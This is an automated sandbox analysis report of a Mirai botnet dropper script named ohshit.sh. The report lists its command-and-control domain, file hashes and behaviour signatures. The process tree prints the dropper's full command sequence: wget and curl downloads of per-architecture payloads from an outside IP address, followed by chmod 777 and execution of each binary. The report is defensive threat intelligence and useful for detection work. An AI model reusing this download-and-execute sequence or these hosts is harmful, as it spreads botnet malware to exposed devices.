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Analysis

  • max time kernel
    132s
  • max time network
    146s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    11/03/2025, 14:02

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    d2fc82c2b868db8956bd1a152673f5a7

  • SHA1

    01899c680da79b2e7302f5898e150254bd7ef207

  • SHA256

    29eae7a3fc0f8f73775f7202b9b7972c62a40320b7331588db4e8cf560749719

  • SHA512

    5b9cf48ea5473fab850d23cf04d1d56ebcf7046c6cdfa72524d4c9af7f40721a059e622082250df23c2f6d1766bfce740b906d477fc28f2594e13d1879e121d2

Malware Config

Extracted

Family

mirai

C2

huyhoangluvnhi.duckdns.org

Extracted

Family

mirai

C2

huyhoangluvnhi.duckdns.org

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Enumerates active TCP sockets 1 TTPs 7 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Changes its process name 8 IoCs
  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 7 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:649
    • /usr/bin/wget
      wget http://160.191.245.152/dlr/blah.x86
      2⤵
      • Writes file to tmp directory
      PID:651
    • /usr/bin/curl
      curl -O http://160.191.245.152/dlr/blah.x86
      2⤵
      • Checks CPU configuration
      • Writes file to tmp directory
      PID:679
    • /bin/cat
      cat blah.x86
      2⤵
        PID:681
      • /bin/chmod
        chmod 777 blah.x86 HOLYLOVE ohshit.sh systemd-private-0b16319dd34941349e3328a319fdfa60-systemd-timedated.service-otnKQ5
        2⤵
        • File and Directory Permissions Modification
        PID:682
      • /tmp/HOLYLOVE
        ./HOLYLOVE
        2⤵
          PID:683
        • /usr/bin/wget
          wget http://160.191.245.152/dlr/blah.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:685
        • /usr/bin/curl
          curl -O http://160.191.245.152/dlr/blah.mips
          2⤵
          • Checks CPU configuration
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:698
        • /bin/cat
          cat blah.mips
          2⤵
          • System Network Configuration Discovery
          PID:711
        • /bin/chmod
          chmod 777 blah.mips blah.x86 HOLYLOVE ohshit.sh systemd-private-0b16319dd34941349e3328a319fdfa60-systemd-timedated.service-otnKQ5
          2⤵
          • File and Directory Permissions Modification
          PID:712
        • /tmp/HOLYLOVE
          ./HOLYLOVE
          2⤵
            PID:713
          • /usr/bin/wget
            wget http://160.191.245.152/dlr/blah.arc
            2⤵
              PID:717
            • /usr/bin/curl
              curl -O http://160.191.245.152/dlr/blah.arc
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:724
            • /bin/cat
              cat blah.arc
              2⤵
                PID:734
              • /bin/chmod
                chmod 777 blah.arc blah.mips blah.x86 HOLYLOVE ohshit.sh systemd-private-0b16319dd34941349e3328a319fdfa60-systemd-timedated.service-otnKQ5
                2⤵
                • File and Directory Permissions Modification
                PID:736
              • /tmp/HOLYLOVE
                ./HOLYLOVE
                2⤵
                  PID:738
                • /usr/bin/wget
                  wget http://160.191.245.152/dlr/blah.i468
                  2⤵
                    PID:740
                  • /usr/bin/curl
                    curl -O http://160.191.245.152/dlr/blah.i468
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:743
                  • /bin/cat
                    cat blah.i468
                    2⤵
                      PID:744
                    • /bin/chmod
                      chmod 777 blah.arc blah.i468 blah.mips blah.x86 HOLYLOVE ohshit.sh systemd-private-0b16319dd34941349e3328a319fdfa60-systemd-timedated.service-otnKQ5
                      2⤵
                      • File and Directory Permissions Modification
                      PID:745
                    • /tmp/HOLYLOVE
                      ./HOLYLOVE
                      2⤵
                        PID:746
                      • /usr/bin/wget
                        wget http://160.191.245.152/dlr/blah.i686
                        2⤵
                          PID:747
                        • /usr/bin/curl
                          curl -O http://160.191.245.152/dlr/blah.i686
                          2⤵
                          • Checks CPU configuration
                          • Writes file to tmp directory
                          PID:754
                        • /bin/cat
                          cat blah.i686
                          2⤵
                            PID:763
                          • /bin/chmod
                            chmod 777 blah.arc blah.i468 blah.i686 blah.mips blah.x86 HOLYLOVE ohshit.sh systemd-private-0b16319dd34941349e3328a319fdfa60-systemd-timedated.service-otnKQ5
                            2⤵
                            • File and Directory Permissions Modification
                            PID:764
                          • /tmp/HOLYLOVE
                            ./HOLYLOVE
                            2⤵
                              PID:765
                            • /usr/bin/wget
                              wget http://160.191.245.152/dlr/blah.x86_64
                              2⤵
                              • Writes file to tmp directory
                              PID:767
                            • /usr/bin/curl
                              curl -O http://160.191.245.152/dlr/blah.x86_64
                              2⤵
                              • Checks CPU configuration
                              • Writes file to tmp directory
                              PID:779
                            • /bin/cat
                              cat blah.x86_64
                              2⤵
                                PID:786
                              • /bin/chmod
                                chmod 777 blah.arc blah.i468 blah.i686 blah.mips blah.x86 blah.x86_64 HOLYLOVE ohshit.sh systemd-private-0b16319dd34941349e3328a319fdfa60-systemd-timedated.service-otnKQ5
                                2⤵
                                • File and Directory Permissions Modification
                                PID:787
                              • /tmp/HOLYLOVE
                                ./HOLYLOVE
                                2⤵
                                  PID:788
                                • /usr/bin/wget
                                  wget http://160.191.245.152/dlr/blah.mpsl
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:790
                                • /usr/bin/curl
                                  curl -O http://160.191.245.152/dlr/blah.mpsl
                                  2⤵
                                  • Checks CPU configuration
                                  • Writes file to tmp directory
                                  PID:791
                                • /bin/cat
                                  cat blah.mpsl
                                  2⤵
                                    PID:792
                                  • /bin/chmod
                                    chmod 777 blah.arc blah.i468 blah.i686 blah.mips blah.mpsl blah.x86 blah.x86_64 HOLYLOVE ohshit.sh systemd-private-0b16319dd34941349e3328a319fdfa60-systemd-timedated.service-otnKQ5
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:793
                                  • /tmp/HOLYLOVE
                                    ./HOLYLOVE
                                    2⤵
                                      PID:794
                                    • /usr/bin/wget
                                      wget http://160.191.245.152/dlr/blah.arm
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:796
                                    • /usr/bin/curl
                                      curl -O http://160.191.245.152/dlr/blah.arm
                                      2⤵
                                      • Checks CPU configuration
                                      • Writes file to tmp directory
                                      PID:800
                                    • /bin/cat
                                      cat blah.arm
                                      2⤵
                                        PID:803
                                      • /bin/chmod
                                        chmod 777 blah.arc blah.arm blah.i468 blah.i686 blah.mips blah.mpsl blah.x86 blah.x86_64 HOLYLOVE ohshit.sh
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:804
                                      • /tmp/HOLYLOVE
                                        ./HOLYLOVE
                                        2⤵
                                        • Changes its process name
                                        • Reads runtime system information
                                        PID:805
                                      • /usr/bin/wget
                                        wget http://160.191.245.152/dlr/blah.arm5
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:807
                                      • /usr/bin/curl
                                        curl -O http://160.191.245.152/dlr/blah.arm5
                                        2⤵
                                        • Checks CPU configuration
                                        • Writes file to tmp directory
                                        PID:809
                                      • /bin/chmod
                                        chmod 777 blah.arc blah.arm blah.arm5 blah.i468 blah.i686 blah.mips blah.mpsl blah.x86 blah.x86_64 HOLYLOVE ohshit.sh
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:811
                                      • /tmp/HOLYLOVE
                                        ./HOLYLOVE
                                        2⤵
                                        • Enumerates active TCP sockets
                                        • Changes its process name
                                        • Reads system network configuration
                                        • Reads runtime system information
                                        PID:812
                                      • /usr/bin/wget
                                        wget http://160.191.245.152/dlr/blah.arm6
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:815
                                      • /usr/bin/curl
                                        curl -O http://160.191.245.152/dlr/blah.arm6
                                        2⤵
                                        • Checks CPU configuration
                                        • Writes file to tmp directory
                                        PID:818
                                      • /bin/chmod
                                        chmod 777 blah.arc blah.arm blah.arm5 blah.arm6 blah.i468 blah.i686 blah.mips blah.mpsl blah.x86 blah.x86_64 HOLYLOVE ohshit.sh
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:820
                                      • /tmp/HOLYLOVE
                                        ./HOLYLOVE
                                        2⤵
                                        • Enumerates active TCP sockets
                                        • Changes its process name
                                        • Reads system network configuration
                                        • Reads runtime system information
                                        PID:821
                                      • /usr/bin/wget
                                        wget http://160.191.245.152/dlr/blah.arm7
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:824
                                      • /usr/bin/curl
                                        curl -O http://160.191.245.152/dlr/blah.arm7
                                        2⤵
                                        • Checks CPU configuration
                                        • Writes file to tmp directory
                                        PID:827
                                      • /bin/chmod
                                        chmod 777 HOLYLOVE blah.arc blah.arm blah.arm5 blah.arm6 blah.arm7 blah.i468 blah.i686 blah.mips blah.mpsl blah.x86 blah.x86_64 HOLYLOVE ohshit.sh
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:829
                                      • /tmp/HOLYLOVE
                                        ./HOLYLOVE
                                        2⤵
                                        • Enumerates active TCP sockets
                                        • Changes its process name
                                        • Reads system network configuration
                                        • Reads runtime system information
                                        PID:830
                                      • /usr/bin/wget
                                        wget http://160.191.245.152/dlr/blah.ppc
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:832
                                      • /usr/bin/curl
                                        curl -O http://160.191.245.152/dlr/blah.ppc
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:836
                                      • /bin/chmod
                                        chmod 777 HOLYLOVE blah.arc blah.arm blah.arm5 blah.arm6 blah.arm7 blah.i468 blah.i686 blah.mips blah.mpsl blah.ppc blah.x86 blah.x86_64 HOLYLOVE ohshit.sh
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:838
                                      • /tmp/HOLYLOVE
                                        ./HOLYLOVE
                                        2⤵
                                        • Enumerates active TCP sockets
                                        • Changes its process name
                                        • Reads system network configuration
                                        • Reads runtime system information
                                        PID:839
                                      • /usr/bin/wget
                                        wget http://160.191.245.152/dlr/blah.spc
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:841
                                      • /usr/bin/curl
                                        curl -O http://160.191.245.152/dlr/blah.spc
                                        2⤵
                                        • Checks CPU configuration
                                        • Writes file to tmp directory
                                        PID:845
                                      • /bin/chmod
                                        chmod 777 blah.arc blah.arm blah.arm5 blah.arm6 blah.arm7 blah.i468 blah.i686 blah.mips blah.mpsl blah.ppc blah.spc blah.x86 blah.x86_64 HOLYLOVE ohshit.sh HOLYLOVE
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:847
                                      • /tmp/HOLYLOVE
                                        ./HOLYLOVE
                                        2⤵
                                        • Enumerates active TCP sockets
                                        • Changes its process name
                                        • Reads system network configuration
                                        • Reads runtime system information
                                        PID:848
                                      • /usr/bin/wget
                                        wget http://160.191.245.152/dlr/blah.m68k
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:850
                                      • /usr/bin/curl
                                        curl -O http://160.191.245.152/dlr/blah.m68k
                                        2⤵
                                        • Checks CPU configuration
                                        • Writes file to tmp directory
                                        PID:852
                                      • /bin/chmod
                                        chmod 777 blah.arc blah.arm blah.arm5 blah.arm6 blah.arm7 blah.i468 blah.i686 blah.m68k blah.mips blah.mpsl blah.ppc blah.spc blah.x86 blah.x86_64 HOLYLOVE ohshit.sh HOLYLOVE
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:856
                                      • /tmp/HOLYLOVE
                                        ./HOLYLOVE
                                        2⤵
                                        • Enumerates active TCP sockets
                                        • Changes its process name
                                        • Reads system network configuration
                                        • Reads runtime system information
                                        PID:857
                                      • /usr/bin/wget
                                        wget http://160.191.245.152/dlr/blah.sh4
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:859
                                      • /usr/bin/curl
                                        curl -O http://160.191.245.152/dlr/blah.sh4
                                        2⤵
                                        • Checks CPU configuration
                                        • Writes file to tmp directory
                                        PID:861
                                      • /bin/chmod
                                        chmod 777 blah.arc blah.arm blah.arm5 blah.arm6 blah.arm7 blah.i468 blah.i686 blah.m68k blah.mips blah.mpsl blah.ppc blah.sh4 blah.spc blah.x86 blah.x86_64 HOLYLOVE ohshit.sh HOLYLOVE
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:865
                                      • /tmp/HOLYLOVE
                                        ./HOLYLOVE
                                        2⤵
                                        • Enumerates active TCP sockets
                                        • Changes its process name
                                        • Reads system network configuration
                                        • Reads runtime system information
                                        PID:866

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

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                                    Downloads

                                    • /tmp/HOLYLOVE

                                      Filesize

                                      58KB

                                      MD5

                                      1c8b6437a383e5816d7444525fc1508b

                                      SHA1

                                      4eefd8b14e3f7ac66a30f73b495b40839e5f6bb4

                                      SHA256

                                      1e74b70fafd03b372bd8f0b932ae682ab2ea7b73f69744dfc26e24385f23f569

                                      SHA512

                                      4acca052eece00944ceb143a6c898b4ce03061d4ad36598347128388ad5399431c0e989a2c7a6f2c1689e65ed34c25390d197492b6169ed1942cd928d331857c

                                    • /tmp/HOLYLOVE

                                      Filesize

                                      210B

                                      MD5

                                      df0af1f5d3889398ec163f9578ee6829

                                      SHA1

                                      ff14421982fb2f0a9ba5b5f6fd8c464773135b3d

                                      SHA256

                                      d6b38f51fe989591045453651b0c076e8faa4a2237c6de9064af06467514a50c

                                      SHA512

                                      2bbdc2b17018825539da04ca5d3db28a51c7b16e048a7c91b8064954352cf9a2f55ab8b1643a263fd846dfb48364737a03edd2f4a308c73d1edadc3205d9add0

                                    • /tmp/HOLYLOVE

                                      Filesize

                                      211B

                                      MD5

                                      75f791475a85f5a1b96051202db8991c

                                      SHA1

                                      c0de7cceaf465aad5bdf418bea12a49c6b62b71e

                                      SHA256

                                      a499f96a17b2fc9fe47d41d73a5dc6d12696459d439813e9f5c1849611f66777

                                      SHA512

                                      73c542ea3a9cc773eca80c8bec8531b16a83240247cbf4c58f9cc3134a7369bcdf3718012d7893d22adc978bffacf5c811cda2cf5bc9e3895309a334cdd330fc

                                    • /tmp/HOLYLOVE

                                      Filesize

                                      211B

                                      MD5

                                      71dfde3372b881bd5653d46d5b950773

                                      SHA1

                                      a76f2f155aeb10063ea697da404851aa721b4ee3

                                      SHA256

                                      a49c0975ca4ef47d59637aaaaffc9bc9df661c4d651cbcb4eb9a0a5338ba3146

                                      SHA512

                                      44a0e5a1ebd664eaa81b25755769257770779c2e1e15779905fd32060d939832d71affce5269b97cc90d40f1bfaa5eba6d464692eaf3a77db63d632d77953128

                                    • /tmp/HOLYLOVE

                                      Filesize

                                      59KB

                                      MD5

                                      748969d6891e6bd99d3ba0e19be4a30f

                                      SHA1

                                      4ae40ba612e657f12afc7e67bc79b21d9b741303

                                      SHA256

                                      f7a99d1080e63bf273bd6af4f4c9160fa5a694a081c75bc541aefbfd6dd55707

                                      SHA512

                                      0f39197aedd481fa4a919723011171a50bae6a648eea6f25f09a7ba139ffc1fe3a69ca83e4bb1ce6e7e70c98e7ef546415a02029589a10e5df7232ff3012c8b7

                                    • /tmp/blah.x86

                                      Filesize

                                      40KB

                                      MD5

                                      2e689db77eaea41c04a31165f6ee7184

                                      SHA1

                                      170440f67d1eba5b252aa5bc6e2f0a026b6c8cef

                                      SHA256

                                      2ce9fb3fae4dd2c0540e15c416d79a33933b714551d6016b28ddaa0f52a06913

                                      SHA512

                                      5bc67648bb6650b1c6b4e1a9ca39cfb9dc719b7d670f83647445411df348e05ad1a06b0ae85e91625ec38bc18b4e5b75ba40f06c8652c025c7abfaa8513c00b4